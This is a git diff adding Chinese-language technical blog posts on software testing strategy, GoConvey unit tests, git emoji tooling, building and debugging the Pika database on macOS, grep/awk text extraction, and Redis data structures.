+主线业务的功能测试由于经常需要执行回归测试,所以你需要考虑实施自动化测试,并且根据项目技术栈和测试团队成员的习惯与能力来选择合适的自动化测试框架。 +这里需要注意的是,你通常应该先实现主干业务流程的测试自动化。 +实际操作时,你通常需要先列出主要的功能测试点,并决定哪些测试点适合采用自动化测试,并且决定具体使用什么样的框架和技术。 +对于需要手工测试的测试点,你要决定采用什么类型的测试用例设计方法,以及如何准备相关的测试数据。 +另外,你还要评估被测软件的可测试性,如果有可测试性的问题,需要提前考虑切实可行的变通方案,甚至要求开发人员提供可测试性的接口。 + +第二,兼容性测试 +对于兼容性测试来说,Web 测试需要确定覆盖的浏览器类型和版本,移动设备测试需要确定覆盖的设备类型和具体 iOS/Android 的版本等。 +你可能会问,我要怎么确定需要覆盖的移动设备类型以及 iOS/Android 的版本列表呢?这个问题其实并不难: +如果是既有产品,你可以通过大数据技术分析产品的历史数据得出 Top 30% 的移动设备以及 iOS/Android 的版本列表,那么兼容性测试只需覆盖这部分即可。 +如果是一个全新的产品,你可以通过 TalkingData 这样的网站来查看目前主流的移动设备,分辨率大小、iOS/Android 版本等信息来确定测试范围。 +兼容性测试的实施,往往是在功能测试的后期,也就是说需要等功能基本都稳定了,才会开始兼容性测试。 +当然也有特例,比如,对于前端引入了新的前端框架或者组件库,往往就会先在前期做兼容性评估,以确保不会引入后期无法解决的兼容性问题。 +兼容性测试用例的选取,往往来自于已经实现的自动化测试用例。道理很简单,因为兼容性测试往往要覆盖最常用的业务场景,而这些最常用的业务场景通常也是首批实现自动化测试的目标。 +所以,我们的 GUI 自动化框架,就需要能够支持同一套测试脚本在不做修改的前提下,运行于不同的浏览器。 + +第三,性能测试 +对于性能测试,需要在明确了性能需求(并发用户数、响应时间、事务吞吐量等)的前提下,结合被测系统的特点,设计性能测试场景并确定性能测试框架。 +比如,是直接在 API 级别发起压力测试,还是必须模拟终端用户行为进行基于协议的压力测试。再比如,是基于模块进行压力测试,还是发起全链路压测。 +如果性能是背景数据敏感的场景,还需要确定背景数据量级与分布,并决定产生背景数据的技术方案,比如是通过 API 并发调用来产生测试数据,还是直接在数据库上做批量 insert 和 update 操作,或者是两种方式的结合。 +最后,无论采用哪种方式,都需要明确待开发的单用户脚本的数量,以便后续能够顺利组装压测测试场景。 +性能测试的实施,是一个比较复杂的问题。首先,需要根据你想要解决的问题,确定性能测试的类型;然后,根据具体的性能测试类型开展测试。 +性能测试的实施,往往先要根据业务场景来决定需要开发哪些单用户脚本,脚本的开发会涉及到很多性能测试脚本特有的概念,比如思考时间、集合点、动态关联等等。 + + + +## 09 | 软件测试工程师的核心竞争力 + + +> 作为测试人员,必须要深入理解业务,但是业务知识不能等同于测试能力。 + +> 测试开发岗位的核心其实是“测试”,“开发”的目的是更好地服务于测试,我们看重的是对测试的理解,以及在此基础上设计、开发帮助测试人员提高效率并解决实际问题的工具,而不是一个按部就班、纯粹意义上的开发人员。 + + +> 目前的测试工程师分为两大类别,一类是做业务功能测试的,另一类是做测试开发的,二者的核心竞争力有很大差别。 + + +#### 传统测试工程师应该具备的核心竞争力 + + +测试策略设计能力、测试用例设计能力、快速学习能力、探索性测试思维、缺陷分析能力、自动化测试技术和良好的沟通能力。 + + +#### 测试策略设计能力 + +测试策略设计能力是指,对于各种不同的被测软件,能够快速准确地理解需求,并在有限的时间和资源下,明确测试重点以及最适合的测试方法的能力。 + +测试要具体执行到什么程度? +测试需要借助于什么工具? +如何运用自动化测试以及自动化测试框架,以及如何选型? +测试人员资源如何合理分配? +测试进度如何安排? +测试风险如何应对? + + + +#### 测试用例设计能力 + +要做好测试用例设计,不仅需要深入理解被测软件的业务需求和目标用户的使用习惯,还要熟悉软件的具体设计和运行环境,包括技术架构、缓存机制、中间件技术、第三方服务集成等等。 + +平时就要多积累,对常见的缺陷模式、典型的错误类型以及遇到过的缺陷,要不断地总结、归纳,才能逐渐形成体系化的用例设计思维。 + + +#### 快速学习能力 + + +对不同业务需求和功能的快速学习与理解能力; +对于测试新技术和新方法的学习与应用能力。 + +比如,当你学习一个新的开源工具时,建议你直接看官方文档:一来,这里的内容是最新而且是最权威的;二来,可以避免网上信息质量的参差不齐。知识输入源头是单一,而且权威的话,你的学习曲线也必然会比较平滑。 +另外,当学习新内容时,你一定要做到理解其原理,而不是只停留在表面的、简单的操作和使用,长期保持这种学习状态,可以在很大程度上提高逻辑思维和理解能力。这样,当你再面对其他新鲜事物时候,也会更容易理解,形成良性循环。 + + +#### 探索性测试思维 + +优秀的探索性测试思维可以帮助你实现低成本的“精准测试”,精准测试最通俗的理解可以概括为针对开发代码的变更,目标明确并且有针对性地对变更点以及变更关联点做测试,这也是目前敏捷测试主推的测试实践之一。 + + +#### 缺陷分析能力 + +缺陷分析能力,通常包含三个层面的含义: + +> 对于已经发现的缺陷,结合发生错误的上下文以及后台日志,可以预测或者定位缺陷的发生原因,甚至可以明确指出具体出错的代码行,由此可以大幅缩短缺陷的修复周期,并提高开发工程师对于测试工程师的认可以及信任度; + +> 根据已经发现的缺陷,结合探索性测试思维,推断同类缺陷存在的可能性,并由此找出所有相关的潜在缺陷; + +> 可以对一段时间内所发生的缺陷类型和趋势进行合理分析,由点到面预估整体质量的健康状态,并能够对高频缺陷类型提供系统性的发现和预防措施,并以此来调整后续的测试策略。 + + +#### 自动化测试技术 + +一方面,自动化测试技术本身不绑定被测对象,比如说你掌握了 GUI 的自动化测试技术,那么你就可以基于这个技术去做任何 GUI 系统的界面功能测试了。 + +#### 良好的沟通能力 + +一方面,你需要对接产品经理和项目经理,以确保需求的正确实现和项目整体质量的达标; +另一方面,你还要和开发人员不断地沟通、协调,确保缺陷的及时修复与验证。 + + + +#### 测试开发工程师的核心竞争力 + +第一项核心竞争力,测试系统需求分析能力 +第二项核心竞争力,更宽广的知识体系 +测试开发工程师需要具备非常宽广的知识体系,你不仅需要和传统的测试开发工程师打交道,因为他们是你构建的测试工具或者平台的用户;而且还要和 CI/CD、和运维工程师们有紧密的联系,因为你构建的测试工具或者平台,需要接入到 CI/CD 的流水线以及运维的监控系统中去 + + +## 10 | 软件测试工程师需要掌握的非测试知识有哪些? + + +> 开发工程师通常是“深度遍历”,关注的是“点”;而测试工程师通常是“广度遍历”,关注的是“面”。需要了解掌握的非测试知识实在是太多了,这简直就是一个 mini 版的系统架构师! + + +小到 Linux/Unix/Windows 操作系统的基础知识,Oracle/MySQL 等传统关系型数据库技术,NoSQL 非关系型数据库技术,中间件技术,Shell/Python 脚本开发,版本管理工具与策略,CI/CD 流水线设计,F5 负载均衡技术,Fiddler/Wireshark/Tcpdump 等抓包工具,浏览器 Developer Tool 等; + + +大到网站架构设计,容器技术,微服务架构,服务网格(Service Mesh),DevOps,云计算,大数据,人工智能和区块链技术等。 + + +网站架构的核心知识: + +要做好互联网产品功能测试以外的其他测试,比如性能测试、稳定性测试、全链路压测、故障切换(Failover)测试、动态集群容量伸缩测试、服务降级测试和安全渗透测试等 + + + +#### 性能测试 + +应用场景: +电商网站的大促活动 + +独特的测试方法: +负载测试,压力测试 + +重点关注要点: +响应时间,系统吞吐量 + +具体举例: +使用JMeter模拟1000个用户并发访问,检查系统响应时间。 + +#### 稳定性测试 + +应用场景: +长时间运行的服务器应用 + +独特的测试方法: +耐久测试 + +重点关注要点: +内存泄漏,CPU使用 + +具体举例: +运行应用一周时间,检查内存和CPU使用情况。 + +#### 全链路压测 + +应用场景: +微服务架构中的数据流 + +独特的测试方法: +端到端的压力测试 + +重点关注要点: +微服务间的数据传输,数据库读写 + +具体举例: +模拟用户从登陆到下单的全过程,观察各个服务的性能。 + +#### 故障切换(Failover)测试 + +应用场景: +高可用系统 + +独特的测试方法: +主动关闭某个节点 + +重点关注要点: +数据一致性,恢复时间 + +具体举例: +在主数据库关闭的情况下,检查备份数据库是否能立即接管。 + +#### 动态集群容量伸缩测试 + +应用场景: +容器化应用,云服务 + +独特的测试方法: +动态增减节点 + +重点关注要点: +系统扩展性,数据一致性 + +具体举例: +在Kubernetes集群中,动态添加或删除Pod,观察集群性能。 + +#### 服务降级测试 + +应用场景: +电商秒杀活动 + +独特的测试方法: +限流,降级非核心服务 + +重点关注要点: +用户体验,核心功能可用性 + +具体举例: +在高流量期间,关闭商品推荐功能,观察核心购买流程是否流畅。 + +#### 安全渗透测试 + +应用场景: +任何涉及用户数据的应用 + +独特的测试方法: +黑盒测试,白盒测试 + +重点关注要点: +数据加密,注入攻击 + +具体举例: +尝试使用SQL注入攻击登录到系统。 + + +比如,如果你不清楚 Memcached 这类分布式缓存集群的应用场景和基本原理,如果你不清楚缓存击穿、缓存雪崩、缓存预热、缓存集群扩容局限性等问题,你就设计不出针对缓存系统特有问题的测试用例; +再比如,如果你对网站的可伸缩性架构设计不了解,不清楚应用服务器的各种负载均衡实现的基本原理,不了解数据库的读写分离技术,你就无法完成诸如故障切换、动态集群容量伸缩、服务降级等相关的测试,同时对于性能测试和全链路压测过程中可能遇到的各种瓶颈,也会很难定位和调整。 + + +#### 容器技术 + +很多中大型互联网企业都在推行容器化开发与运维,开发人员递交给测试工程师的软件版本通常就是一个 Docker Image,直接在容器上进行测试。有些公司还会把测试用例和执行框架也打包成 Docker Image,配合版本管理机制,实现用容器测试容器。 + + +#### 云计算技术 + +前段时间,eBay 的一些产品线就对外宣布了和 Pivotal Cloud Foundry 的合作,会将部分产品线迁移到云端。显然,作为测试工程师,你必须理解服务在云端部署的技术细节才能更好的完成测试任务。 + +另一方面,测试基础服务作为提供测试服务的基础设施,比如测试执行环境服务(Test Execution Service)和测试数据准备服务(Test Data Service)等,也在逐渐走向云端。 比如,国外非常流行的 Sauce Labs,就是一个著名的测试执行环境公有云服务。 + +## 11 | 互联网产品的测试策略应该如何设计? + +传统软件通常采用金字塔模型的测试策略,而现今的互联网产品往往采用菱形模型。菱形模型有以下四个关键点: + +以中间层的 API 测试为重点做全面的测试。 +轻量级的 GUI 测试,只覆盖最核心直接影响主营业务流程的 E2E 场景。 +最上层的 GUI 测试通常利用探索式测试思维,以人工测试的方式发现尽可能多的潜在问题。 +单元测试采用“分而治之”的思想,只对那些相对稳定并且核心的服务和模块开展全面的单元测试,而应用层或者上层业务只会做少量的单元测试。 + + + +## Goconv + +```go +package tempe + +import ( + "testing" + + . "github.com/smartystreets/goconvey/convey" +) + +func TestAdd(t *testing.T) { + Convey("将两数相加", t, func() { + So(Add(1, 2), ShouldEqual, 3) + }) +} + +func TestSubtract(t *testing.T) { + Convey("将两数相减", t, func() { + So(Subtract(1, 2), ShouldEqual, -1) + }) +} + +func TestMultiply(t *testing.T) { + Convey("将两数相乘", t, func() { + So(Multiply(3, 2), ShouldEqual, 6) + }) +} + +func TestDivision(t *testing.T) { + Convey("将两数相除", t, func() { + + Convey("除以非 0 数", func() { + num, err := Division(10, 2) + So(err, ShouldBeNil) + So(num, ShouldEqual, 5) + }) + + Convey("除以 0", func() { + _, err := Division(10, 0) + So(err, ShouldNotBeNil) + }) + }) +} + +``` + +```go +package tempe + +import ( + "errors" +) + +func Add(a, b int) int { + return a + b +} + +func Subtract(a, b int) int { + return a - b +} + +func Multiply(a, b int) int { + return a * b +} + +func Division(a, b int) (int, error) { + if b == 0 { + return 0, errors.New("被除数不能为 0") + } + return a / b, nil +} + +``` + +安装: +```shell +$ go install github.com/smartystreets/goconvey +``` + +运行: +```shell +$GOPATH/bin/goconvey +``` + diff --git a/_posts/2024-11-21-test-markdown.md b/_posts/2024-11-21-test-markdown.md new file mode 100644 index 000000000000..921efa27d424 --- /dev/null +++ b/_posts/2024-11-21-test-markdown.md @@ -0,0 +1,133 @@ +--- +layout: post +title: git-emoji 安装和配置 +subtitle: +tags: [git] +comments: true +--- + + +## 安装 + +```shell +$ sudo sh -c "curl https://raw.githubusercontent.com/mrowa44/emojify/master/emojify -o /usr/local/bin/emojify && chmod +x /usr/local/bin/emojify" +``` + +报错: +```shell +$ hello % emojify "Hey, I just :raising_hand: you, and this is :scream: , but here's my :calling: , so :telephone_receiver: me, maybe?" +Oh my! That’s a very old version of bash you’re using, we don’t support that anymore :( +Consider upgrading it or, if you must use bash 3.2.57(1)-release, download an old version of +emojify from here: https://github.com/mrowa44/emojify/blob/old_bash_support/emojify +``` + +更新: +```shell +$ brew install bash +``` + +测试: +```shell +$ emojify "Hey, I just :raising_hand: you, and this is :scream: , but here's my :calling: , so :telephone_receiver: me, maybe?" +``` + + +```shell +$ alias gitlog='git log --oneline --color | emojify | less -r' + +$ gitlog +``` +存在的问题就是每开一个终端都要执行该操作。 + + +## 交互式客户端安装 + +```shell +$ npm i -g gitmoji-cli +``` + +测试 +```shell +$ gitmoji --help +``` + +查看 emoji 列表 +```shell +$ gitmoji -l +``` + +```shell +🎨 - :art: - Improve structure / format of the code. +⚡️ - :zap: - Improve performance. +🔥 - :fire: - Remove code or files. +🐛 - :bug: - Fix a bug. +🚑️ - :ambulance: - Critical hotfix. +✨ - :sparkles: - Introduce new features. +📝 - :memo: - Add or update documentation. +🚀 - :rocket: - Deploy stuff. +💄 - :lipstick: - Add or update the UI and style files. +🎉 - :tada: - Begin a project. +✅ - :white_check_mark: - Add, update, or pass tests. +🔒️ - :lock: - Fix security or privacy issues. +🔐 - :closed_lock_with_key: - Add or update secrets. +🔖 - :bookmark: - Release / Version tags. +🚨 - :rotating_light: - Fix compiler / linter warnings. +🚧 - :construction: - Work in progress. +💚 - :green_heart: - Fix CI Build. +⬇️ - :arrow_down: - Downgrade dependencies. +⬆️ - :arrow_up: - Upgrade dependencies. +📌 - :pushpin: - Pin dependencies to specific versions. +👷 - :construction_worker: - Add or update CI build system. +📈 - :chart_with_upwards_trend: - Add or update analytics or track code. +♻️ - :recycle: - Refactor code. +➕ - :heavy_plus_sign: - Add a dependency. +➖ - :heavy_minus_sign: - Remove a dependency. +🔧 - :wrench: - Add or update configuration files. +🔨 - :hammer: - Add or update development scripts. +🌐 - :globe_with_meridians: - Internationalization and localization. +✏️ - :pencil2: - Fix typos. +💩 - :poop: - Write bad code that needs to be improved. +⏪️ - :rewind: - Revert changes. +🔀 - :twisted_rightwards_arrows: - Merge branches. +📦️ - :package: - Add or update compiled files or packages. +👽️ - :alien: - Update code due to external API changes. +🚚 - :truck: - Move or rename resources (e.g.: files, paths, routes). +📄 - :page_facing_up: - Add or update license. +💥 - :boom: - Introduce breaking changes. +🍱 - :bento: - Add or update assets. +♿️ - :wheelchair: - Improve accessibility. +💡 - :bulb: - Add or update comments in source code. +🍻 - :beers: - Write code drunkenly. +💬 - :speech_balloon: - Add or update text and literals. +🗃️ - :card_file_box: - Perform database related changes. +🔊 - :loud_sound: - Add or update logs. +🔇 - :mute: - Remove logs. +👥 - :busts_in_silhouette: - Add or update contributor(s). +🚸 - :children_crossing: - Improve user experience / usability. +🏗️ - :building_construction: - Make architectural changes. +📱 - :iphone: - Work on responsive design. +🤡 - :clown_face: - Mock things. +🥚 - :egg: - Add or update an easter egg. +🙈 - :see_no_evil: - Add or update a .gitignore file. +📸 - :camera_flash: - Add or update snapshots. +⚗️ - :alembic: - Perform experiments. +🔍️ - :mag: - Improve SEO. +🏷️ - :label: - Add or update types. +🌱 - :seedling: - Add or update seed files. +🚩 - :triangular_flag_on_post: - Add, update, or remove feature flags. +🥅 - :goal_net: - Catch errors. +💫 - :dizzy: - Add or update animations and transitions. +🗑️ - :wastebasket: - Deprecate code that needs to be cleaned up. +🛂 - :passport_control: - Work on code related to authorization, roles and permissions. +🩹 - :adhesive_bandage: - Simple fix for a non-critical issue. +🧐 - :monocle_face: - Data exploration/inspection. +⚰️ - :coffin: - Remove dead code. +🧪 - :test_tube: - Add a failing test. +👔 - :necktie: - Add or update business logic. +🩺 - :stethoscope: - Add or update healthcheck. +🧱 - :bricks: - Infrastructure related changes. +🧑‍💻 - :technologist: - Improve developer experience. +💸 - :money_with_wings: - Add sponsorships or money related infrastructure. +🧵 - :thread: - Add or update code related to multithreading or concurrency. +🦺 - :safety_vest: - Add or update code related to validation. +``` \ No newline at end of file diff --git a/_posts/2024-11-22-test-markdown.md b/_posts/2024-11-22-test-markdown.md new file mode 100644 index 000000000000..69b17fbaf22a --- /dev/null +++ b/_posts/2024-11-22-test-markdown.md @@ -0,0 +1,197 @@ +--- +layout: post +title: pika简单上手 +subtitle: +tags: [pika] +comments: true +--- + + +## 下载安装 + +```shell +git clone https://github.com/OpenAtomFoundation/pika +``` + +## 开发和调试 + +> 更新XCode + +```shell +https://github.com/OpenAtomFoundation/pika/blob/unstable/docs/ops/SetUpDevEnvironment_en.md +``` +> 对于Macos系统 + +```shell +brew update +brew install --overwrite python autoconf protobuf llvm wget git +brew install gcc@10 automake cmake make binutils +``` + +> 将 binutils 添加到 PATH: + +这可以确保当在 提供的终端中键入命令时binutils, shell(在本例中为 zsh)将binutils首先在目录中查找,然后再检查环境变量中的其余路径PATH。 + +为此,请按照建议运行命令: +```shell +echo 'export PATH="/opt/homebrew/opt/binutils/bin:$PATH"' >> ~/.zshrc +``` + +此命令将binutilsbin 目录附加到文件PATH中的变量.zshrc,该文件是 zsh 的配置文件。 + +> 为 binutils 设置编译器标志: + +如果正在编译需要使用该binutils包的软件,则此步骤是必要的。通过设置这些标志,可以告诉编译器在哪里LDFLAGS可以CPPFLAGS找到binutils. + +可以通过运行以下命令来设置这些环境变量: +```shell +export LDFLAGS="-L/opt/homebrew/opt/binutils/lib" +export CPPFLAGS="-I/opt/homebrew/opt/binutils/include" + +``` + +> 可能还想将这些命令添加到.zshrc文件中,以便它们在每个新的终端会话中自动设置: + +```shell +echo 'export LDFLAGS="-L/opt/homebrew/opt/binutils/lib"' >> ~/.zshrc +echo 'export CPPFLAGS="-I/opt/homebrew/opt/binutils/include"' >> ~/.zshrc +``` + +完成此操作后,可能需要打开一个新的终端窗口或选项卡,或者.zshrc通过运行来获取文件source ~/.zshrc以使这些更改生效。 + +```shell +source ~/.zshrc +``` +请注意:如果不小心操作,操作 PATH 和其他环境变量可能会产生意想不到的副作用,特别是当涉及 macOS 上依赖于系统工具链的开发工具时。仅当确定需要binutils这些工具的版本而不是 macOS 提供的版本时,才需要执行这些步骤。 + +如果有其他的环境依赖的问题,查看.github/workflows/pika.yml中的配置,按照对应的系统进行操作 + + +## 编译 + +在CLion中点击Debug(虫子按钮进行编译) + + +## 客户端连接测试 + +Pika 是一个兼容 Redis 协议的 NoSQL 数据库,可以使用 Redis 的客户端工具 redis-cli 来连接和调试 Pika。如果已经在 CLion 中启动了 Pika 并且它在运行中,可以按照以下步骤使用 redis-cli 连接到 Pika: + +打开终端(在 macOS 或 Linux 中)或命令提示符/PowerShell(在 Windows 中)。 + +输入以下命令来启动 redis-cli 并连接到运行在默认端口 9221 的 Pika 服务器: + +如果没有安装redis,可以先安装 +```sh +brew install redis +``` + +```sh +redis-cli -p 9221 +``` +这里的 -p 参数后跟的数字是 Pika 服务器监听的端口号。 + +如果 Pika 设置了密码(auth),你可能需要使用 -a 参数后跟密码来进行认证: + +```sh +redis-cli -p 9221 -a yourpassword +``` +把 yourpassword 替换为你的 Pika 实例配置的密码。 + +一旦连接成功,你应该会看到一个提示符,类似于: + +```sh +127.0.0.1:9221> +``` + +现在你可以开始输入 Redis 命令进行操作和调试了。 + +例如,你可以尝试运行 PING 命令来检查连接: + +```sh +127.0.0.1:9221> PING +``` + +Pika 应该响应 PONG。 + +要退出 redis-cli,可以输入 exit 命令。 + +如果无法连接到 Pika,这可能是由于多种原因,包括但不限于: + +Pika 服务没有在 CLion 中正确启动。 +防火墙或其他网络设置阻止了端口 9221。 +Pika 的配置文件中设置了不同的端口或需要其他连接参数。 +确保检查以上设置和 Pika 的日志文件以确定连接问题的原因。如果是在远程服务器上运行 Pika,还需要确保本地机器能够访问远程服务器上的 9221 端口。 + +## 问题 + +如果在执行行Cmake的时候发现:CMake Warning at CMakeLists.txt:111 (message): + couldn't find clang-tidy. + +CMake Warning at CMakeLists.txt:121 (message): + couldn't find clang-apply-replacements. + +```shell + which clang-tidy +/opt/homebrew/opt/llvm/bin/clang-tidy +``` + +修改: +```shell +set(CLANG_SEARCH_PATH "/usr/local/bin" "/usr/bin" "/opt/homebrew/opt/llvm/bin") +find_program(CLANG_TIDY_BIN + NAMES clang-tidy + HINTS ${CLANG_SEARCH_PATH}) +if ("${CLANG_TIDY_BIN}" STREQUAL "CLANG_TIDY_BIN-NOTFOUND") + message(WARNING "couldn't find clang-tidy.") +else () + message(STATUS "found clang-tidy at ${CLANG_TIDY_BIN}") +endif () +``` + +这样,当运行CMake时,它会在/opt/homebrew/opt/llvm/bin路径下搜索clang-tidy,并且应该能够找到它。同样的方法适用于clang-apply-replacements,如果也需要找到这个工具的话。 + +确保的CMakeLists.txt或相关的配置文件包含了上述修改,然后重新运行CMake。这应该会解决找不到clang-tidy的问题。如果clang-apply-replacements也在同一个目录下,它也应该被检测到。如果不在,可能需要运行which clang-apply-replacements来找到它,并更新CLANG_SEARCH_PATH。 + +如果使用的是Homebrew安装的zlib,还可以通过以下命令来查找安装路径: + +```shell +brew --prefix zlib +``` + +```shell +export DYLD_LIBRARY_PATH=/path/to/your/lib:$DYLD_LIBRARY_PATH +``` + +在MacOS上,如果需要设置环境变量以便动态链接器可以找到zlib库,可以使用DYLD_LIBRARY_PATH环境变量。但是请注意,使用DYLD_LIBRARY_PATH可能会影响系统上其他程序的运行,因为它会改变动态链接器搜索动态库的顺序。通常情况下,这种方法应该作为最后的手段,而且最好只在当前的终端会话中设置,而不是全局环境变量。 + +如果zlib安装在/opt/homebrew/opt/zlib,可以在当前的终端会话中设置DYLD_LIBRARY_PATH,如下所示: + +```sh +export DYLD_LIBRARY_PATH=/opt/homebrew/opt/zlib/lib:$DYLD_LIBRARY_PATH +``` +这条命令将zlib的库文件目录添加到DYLD_LIBRARY_PATH环境变量的前面。这样做是为了确保这个路径在搜索库文件时会优先考虑。 + +如果想要这个设置在每次打开新终端时都生效,可以将上述命令添加到的shell配置文件中,比如~/.bash_profile,~/.zshrc,或者其他相应的配置文件,取决于使用的是哪种shell。例如,如果使用的是bash,可以这样做: + +``` +echo 'export DYLD_LIBRARY_PATH=/opt/homebrew/opt/zlib/lib:$DYLD_LIBRARY_PATH' >> ~/.bash_profile +``` +然后,需要重新加载配置文件或重新启动终端: + +```shell +source ~/.bash_profile +``` +或者,如果使用的是zsh: + +```shell +echo 'export DYLD_LIBRARY_PATH=/opt/homebrew/opt/zlib/lib:$DYLD_LIBRARY_PATH' >> ~/.zshrc +``` +然后重新加载配置文件: + +``` +source ~/.zshrc +``` +但是,这种方法可能会影响到系统上其他依赖于特定动态库位置的程序。如果可能的话,最好是在编译时指定正确的库路径,或者确保库文件位于系统期望的标准路径中。 + + + diff --git a/_posts/2024-11-24-test-markdown.md b/_posts/2024-11-24-test-markdown.md new file mode 100644 index 000000000000..35d09a78f5e5 --- /dev/null +++ b/_posts/2024-11-24-test-markdown.md @@ -0,0 +1,43 @@ +--- +layout: post +title: 正则提取特定的语句 +subtitle: +tags: [awk] +comments: true +--- + + + +grep "^sql:" yourfile.sql +这个 grep 命令用于查找所有以 "sql:" 开头的行。 + +grep 是一个强大的文本搜索工具,用于搜索匹配特定模式的行。 +^ 是一个正则表达式,表示行的开始。 +"sql:" 是要匹配的文本模式。 +yourfile.sql 是包含要搜索的数据的文件。 +要将此命令的输出重定向到另一个文件,可以使用重定向操作符 >。例如: + +```shell +grep "^sql:" yourfile.sql > outputfile.txt +``` +这会将所有以 "sql:" 开头的行从 yourfile.sql 写入到 outputfile.txt。 + +awk -F'sql:' '/^sql:/ {print $2}' yourfile.sql +这个 awk 命令用于提取以 "sql:" 开头的行中 "sql:" 后面的部分。 + +awk 是一个强大的文本处理工具,用于模式扫描和处理。 +-F'sql:' 设置字段分隔符为 "sql:"。 +/^sql:/ 是一个模式匹配,匹配所有以 "sql:" 开头的行。 +{print $2} 是一个动作,表示打印每行的第二个字段(即 "sql:" 后面的部分)。 +yourfile.sql 是输入文件。 +要将此命令的输出重定向到文件,同样使用 > 操作符: + +```shell +awk -F'sql:' '/^sql:/ {print $2}' yourfile.sql > outputfile.txt +``` +这会将 yourfile.sql 中每行 "sql:" 后面的部分提取出来,并保存到 outputfile.txt 文件中。 + + + + + diff --git a/_posts/2024-11-8-test-markdown.md b/_posts/2024-11-8-test-markdown.md new file mode 100644 index 000000000000..423e8a48cba6 --- /dev/null +++ b/_posts/2024-11-8-test-markdown.md @@ -0,0 +1,763 @@ +--- +layout: post +title: Redis +subtitle: +tags: [Redis] +comments: true +--- + +## Redis的数据结构 + + +### 基础理论问题 + +> 请解释Redis支持哪些数据结构,并简要描述它们各自的特点。 + +字符串(String): 这是最简单的数据结构,用于存储一个字符串或二进制数据。它可以用于缓存、计数器等。 +缓存: 存储页面渲染结果或数据库查询结果。 +计数器: 使用INCR命令实现简单的计数器。 + +在Redis中,字符串(String)类型不仅可以用来存储文本或二进制数据,还可以用来存储数字。这使得字符串可以用作简单的计数器。 + +当使用INCR命令时,Redis会尝试将存储在指定键(key)下的字符串值解释为整数,然后将其增加1。如果该键不存在,Redis会初始化它为0,然后执行增加操作。 + +例如,假设有一个网站,想跟踪某个页面的访问次数。可以使用以下Redis命令: + +初始设置(可选): + +```shell +SET page_view_count 0 +``` +这会初始化一个名为page_view_count的键,并将其值设置为0。 + +每当有人访问该页面时: + +```shell +INCR page_view_count +``` +这会将page_view_count的值加1。 + +查看当前页面访问次数: + +```shell +GET page_view_count +``` + +这样,就用一个简单的字符串键值对和INCR命令实现了一个简单但有效的页面访问计数器。同样,也可以使用DECR命令来减少计数值,或者使用INCRBY和DECRBY来增加或减少指定的数值。 + + +列表(List): Redis的列表是由字符串组成的有序集合,支持在两端进行添加或删除操作。这种数据结构适用于实现队列、堆栈等。 +消息队列: 使用RPUSH和LPOP命令实现简单的消息队列。 +活动日志: 使用LPUSH和LTRIM命令存储最近的活动。 + +集合(Set): 无序的字符串集合,支持添加、删除和检查成员的存在。集合适用于存储无重复项的数据,例如标签、唯一ID等。 +标签系统: 存储与某个对象关联的所有标签。 +社交网络: 存储用户的关注者或朋友。 + +有序集合(Sorted Set): 类似于集合,但每个成员都有一个与之关联的分数,用于排序。这种数据结构适用于排行榜、计分板等。 +排行榜: 使用分数存储用户或物品,然后进行排序。 +时间线或日程表: 使用时间戳作为分数。 + +哈希(Hash): 键值对的集合,用于存储对象的字段和其值。哈希是一种非常灵活的数据结构,适用于存储多个相关字段。 +对象存储: 将对象的各个字段存储为哈希的键值对。 +配置: 存储应用或用户的配置信息。 + +位图(Bitmaps): 通过使用字符串作为底层结构,位图允许设置和清除单个或多个位。这对于统计和其他需要大量布尔标志的应用非常有用。 + +HyperLogLogs: 这是一种概率数据结构,用于估算集合的基数(不重复元素的数量)。 +唯一计数: 例如,统计网站的独立访客数量。 +大数据分析: 在不需要精确计数的情况下,进行基数估算。 + +地理空间索引(Geospatial Index): 使用有序集合来存储地理位置信息,并提供了一系列地理空间查询操作。 +位置基础服务: 如查找附近的餐厅或朋友。 +物流跟踪: 跟踪物品或车辆的实时位置。 + +流(Streams): 这是一种复杂的日志类型数据结构,用于存储多个字段和字符串值的有序列表。适用于消息队列、活动日志等。 +事件流: 存储系统或用户生成的事件。 +消息队列: 更复杂和灵活的消息队列系统。 + + +> 什么是Redis的哈希(Hash)?它与普通的Key-Value存储有什么区别? + +存储用户信息到哈希 +```shell +HSET user:1 id 1 username "john_doe" email "john.doe@example.com" password "hashed_password_here" +``` +读取用户信息从哈希 +```shell +HGETALL user:1 +``` +> 如何使用Redis的列表(List)来实现一个队列? + +在Redis中,列表(List)数据结构可以用来实现一个简单的队列。可以使用LPUSH命令将一个或多个元素添加到队列(列表)的头部,然后使用RPOP命令从队列(列表)的尾部移除并获取一个元素。这样,就实现了一个先进先出(FIFO)的队列。 + +下面是一些基本的Redis命令,用于实现队列操作: + +入队(Enqueue): 使用LPUSH将元素添加到列表的头部。 + +```bash +LPUSH myQueue item1 +LPUSH myQueue item2 +LPUSH myQueue item3 +``` +这样,列表myQueue就变成了[item3, item2, item1]。 + +出队(Dequeue): 使用RPOP从列表的尾部移除并获取一个元素。 + +```bash +RPOP myQueue +``` +这将返回item1,并且列表myQueue现在变成了[item3, item2]。 + +查看队列: 使用LRANGE查看队列中的元素。 + +```bash +LRANGE myQueue 0 -1 +``` +这将返回所有在myQueue中的元素。 + +队列长度: 使用LLEN获取队列(列表)的长度。 + +```shell +LLEN myQueue +``` + +> 解释什么是Redis的集合(Set)和有序集合(Sorted Set),它们有什么用途? + +Redis的集合(Set) + +Redis的集合(Set)是一个无序的字符串集合,其中每个成员都是唯一的。集合支持添加、删除和检查成员的存在等基本操作,以及求交集、并集、差集等集合运算。 + +常见用途: + +1. **去重功能**: 由于集合中的元素必须是唯一的,因此它们通常用于去重。 + +2. **社交网络**: 可以用集合来存储用户的好友列表或者粉丝列表,并快速地进行各种集合运算,如求两个用户的共同好友。 + +3. **实时分析**: 例如,通过将用户ID添加到一个集合中,可以快速地计算在线用户数或者某个特定事件的唯一参与者数量。 + +Redis的有序集合(Sorted Set) + +与普通集合类似,有序集合(Sorted Set)也是字符串的集合,不同的是每个字符串都会与一个浮点数分数(Score)关联。这个分数用于对集合中的成员进行从小到大的排序。 + +常见用途: + +1. **排行榜应用**: 有序集合非常适合实现排行榜,其中元素(如用户ID)可以根据分数(如得分或者经验值)进行排序。 + +2. **时间线或者消息队列**: 可以用当前时间戳作为分数,这样就可以轻易地实现一个基于时间的排序。 + +3. **距离排序**: 在地理位置应用中,可以用地理坐标的距离作为分数,快速获取距离某点最近的其他点。 + +4. **权重排序**: 在搜索引擎或者推荐系统中,可以根据某种算法给每个元素(如文档或者商品)一个权重分数。 + +这两种数据结构都非常灵活,并且由于Redis的高性能特性,它们可以用于各种需要快速读写和高并发的场景。 + + 